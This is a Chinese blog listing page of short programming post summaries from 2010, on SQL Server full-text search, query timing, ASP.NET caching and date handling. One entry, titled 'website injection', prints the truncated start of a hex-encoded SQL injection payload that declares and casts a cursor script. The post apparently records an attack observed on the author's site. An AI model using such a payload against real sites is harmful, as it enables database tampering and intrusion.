SQL2005 全文索引 contains
摘要:原写法where contains (job_job.[jobTitle],'"销售*"') or contains(job_job.jobDesc,'"销售*"')or contains(job_job.jobRequirement,'"销售*"')改为:where contains ((job_job.[jobTitle],job_job.jobDesc,job_job.jobRequirem...
阅读全文
posted @
2010-08-31 14:04
freexiaoyu
阅读(517)
推荐(0)
SQL 语句执行时间
摘要:SET STATISTICS io ONSET STATISTICS time ON goSELECT [jobTitle] FROM [job_job]where contains([jobTitle],'工')goset statistics profile offset statistics io offset statistics time off
阅读全文
posted @
2010-08-28 10:30
freexiaoyu
阅读(385)
推荐(0)
SQL 全文索引 CONTAINS
摘要:Description 列中有任意单词以“serve”开头的文档WHERE CONTAINS(Description, 'serve*')Description 列中有任意短语以“comp”开头且下一个单词以“serve”开头的文档。一个文档必须匹配所有术语才能将其视为匹配项。WHERE CONTAINS(Descriptio...
阅读全文
posted @
2010-08-28 10:29
freexiaoyu
阅读(1231)
推荐(0)
网站注入
摘要:注入代码;dECLaRe%20@s%20vArchAR(4000);SEt%20@S=Cast(0X4445634C615245204074205661526368615228323535292C404320564152434861722832353529206445436C617245207441424C655F437552734F5220635552536F7220466F722073654C...
阅读全文
posted @
2010-08-27 10:46
freexiaoyu
阅读(391)
推荐(0)
Convert.ToDateTime 转换问题
摘要:今天在添加用户生日的时候用到这个最早开始判断是Convert.ToDateTime(mybasi.birthday).Year.ToString() == "" ? "1960" : Convert.ToDateTime(mybasi.birthday).Year.ToString();如果年为空就给一个默认值,但是在浏览的时候还是赋不上值,当调试到Convert.ToDateTime(mybas...
阅读全文
posted @
2010-08-19 10:48
freexiaoyu
阅读(1357)
推荐(0)
asp.net 页面后退清空缓存
摘要:Response.Expires = 0; Response.Buffer = true; Response.ExpiresAbsolute = DateTime.Now.AddSeconds(-1); Response.AddHeader("pragma", "no-cache"); Response.CacheControl = "no-cache";
阅读全文
posted @
2010-08-12 10:13
freexiaoyu
阅读(614)
推荐(0)
DataView 日期筛选
摘要:string strtime = DateTime.Now.AddDays(-61).ToString("yyyy-MM-dd"); DataView dv = new DataView(ds.Tables[0]); dv.RowFilter = "addtime>='" + strtime + "'"; this.lblFavCont.Text = dv.Count.ToString();
阅读全文
posted @
2010-08-10 16:39
freexiaoyu
阅读(473)
推荐(0)
EnableViewState="false" 引发Repeater删除无效
摘要:EnableViewState="false" 引发Repeater删除无效今天测试Repeater删除 <asp:LinkButton ID="linbtnDels" runat="server" CommandArgument='<%# Eval("id") %>' oncommand="linbtnDels_Command">删除</asp:LinkButto...
阅读全文
posted @
2010-08-08 09:16
freexiaoyu
阅读(613)
推荐(0)